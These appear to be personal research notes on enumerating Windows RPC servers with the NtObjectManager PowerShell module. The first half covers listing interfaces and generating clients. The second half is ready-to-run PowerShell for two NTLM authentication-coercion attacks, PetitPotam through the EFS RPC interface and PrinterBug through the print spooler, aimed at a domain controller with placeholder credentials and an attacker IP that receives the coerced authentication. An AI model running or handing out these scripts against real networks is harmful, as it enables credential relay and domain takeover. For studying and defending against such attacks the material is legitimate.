-
This is mostly other peoples work!
-
https://www.tiraniddo.dev/2022/06/finding-running-rpc-server-information.html
-
https://www.powershellgallery.com/packages/NtObjectManager/2.0.1
-
https://clearbluejar.github.io/posts/from-ntobjectmanager-to-petitpotam/
Install-Module -Name NtObjectManager
- Import of not already loaded:
Import-Module -Name NtObjectManager
- Get potential RPC servers stored in executables and dll's
- This does not mean all the code is actually accessible
$rpcservers = ls -recurse C:\Windows\System32 -Include '*.exe',"*.dll" | Get-RpcServer
- More information can be found using
dbghelp.dll
, which can be obtained from the Windows Debugging Tools in the SDK
$rpcserversext = $rpcservers | select -ExpandProperty FilePath | Sort -Unique | Get-RpcServer -DbgHelpPath "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll"
- Find RPC servers that have procedures with the keyword
file
$keyword = "file"
$rpcserversext |% {
$server = $_
$procedures = ($server.Procedures |? {$_.Name -imatch $keyword} | Select -ExpandProperty Name)
if ($procedures) {
Write-Host $server.name $server.InterfaceId
$procedures |% {
$procedure = $_
Write-Host "`tProcedure: ${procedure}"
}
}
}
$server = $rpcserversext |? {$_.InterfaceId -eq 'c681d488-d850-11d0-8c52-00c04fd90f7e'}
- By automated reverse engineering and code generation, NtObjectManager is able to implement an RPC Client on-the-fly
- This requires the RPC Server to generate the code
$client = Get-RpcClient -Server $server
- You can also get the code used for the client
Format-RpcClient -Server $server
- Check the RPC methods
$client | gm
- RPC Servers need to be accessed through an endpoint
- TODO: Can't local RPC servers be instantiated without such an endpoint?
Connect-RpcClient -Client $client -ProtocolSequence ncacn_np -EndpointPath "\pipe\lsass"
# Check
$client.Connected
- But this is connected locally and in some cases a remote authenticated connection is required
Connect-RpcClient -Client $client -StringBinding "ncacn_np:${destination}[\\pipe\\lsass]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT -Credentials $(Get-LsaCredential -UserName $user -Domain $domain -Password $password)
$vulntarget = "10.0.0.1" # Domain controller for instance
$user = "user01" # Valid domain creds
$password = "Password123!" #
$domain = "lab01.local" # Domain name
$attacker = "192.168.0.130" # Receives the coerced auth
# Get the specific RPC server: c681d488-d850-11d0-8c52-00c04fd90f7e
$server = Get-RPCServer -DbgHelpPath "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll" -FullName "C:\Windows\System32\efslsaext.dll" |? {$_.InterfaceId -eq 'c681d488-d850-11d0-8c52-00c04fd90f7e'}
# Generate the RPC client code
$client = Get-RPCClient -Server $server
# Connect the RPC client to the endpoint on the vulnerable target, via lsass
Connect-RpcClient -Client $client -StringBinding "ncacn_np:${vulntarget}[\\pipe\\lsass]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT -Credentials $(Get-LsaCredential -UserName $user -Domain $domain -Password $password)
# Execute PetitPotam via EfsRpcEncryptFileSrv, pointing to the attacker address
$client.EfsRpcEncryptFileSrv_Downlevel("\\" + $attacker + '\C$\evil.txt')
- Slightly more complex, since it
RpcOpenPrinter
's third parameter requires a ComplexType which is a class in the auto-generated code- Well actually its the fourth parameter in the API, but the second parameter (
p1
) is anout
parameter and not required to be called in the code - TODO: Maybe there are better solutions
- Well actually its the fourth parameter in the API, but the second parameter (
$vulntarget = "10.0.0.1" # Domain controller for instance
$user = "user01" # Valid domain creds
$password = "Password123!" #
$domain = "lab01.local" # Domain name
$attacker = "192.168.0.130" # Receives the coerced auth
# Get the specific RPC server: 12345678-1234-abcd-ef00-0123456789ab
$server = Get-RPCServer -DbgHelpPath "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll" -FullName "C:\Windows\System32\spoolsv.exe" |? {$_.InterfaceId -eq '12345678-1234-abcd-ef00-0123456789ab'}
# Generate the RPC client code
$client = Get-RPCClient -Server $server
# Connect the RPC client to the endpoint on the vulnerable target, via spoolss
Connect-RpcClient -Client $client -StringBinding "ncacn_np:${vulntarget}[\\pipe\\spoolss]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT -Credentials $(Get-LsaCredential -UserName $user -Domain $domain -Password $password)
# The `RpcOpenPrinter` 3rd parameter is a `ComplexType`, the following magic
# instantiates a new object of this type
# 1. Get the `RpcOpenPrinter` method definition
$method = $client.GetType().GetMethods() |? { $_.Name -eq 'RpcOpenPrinter' }
# 2. Get the 3rd parameter which is a ComplexType
$p3 = $method.GetParameters()[2]
# 3. Instantiate a new object for this 'ValueType'
$complex = [Activator]::CreateInstance($p3.ParameterType)
# Open the vulntarget as the printserver
$retval = $client.RpcOpenPrinter("\\$vulntarget", '', $complex, 0x00020002)
# Trigger the connection to the attacker, this requires another ComplexType, but it may be NULL
$PRINTER_CHANGE_ADD_JOB = 0x00000100
$client.RpcRemoteFindFirstPrinterChangeNotificationEx($retval.p1, $PRINTER_CHANGE_ADD_JOB, 0, "\\$attacker",0, $null);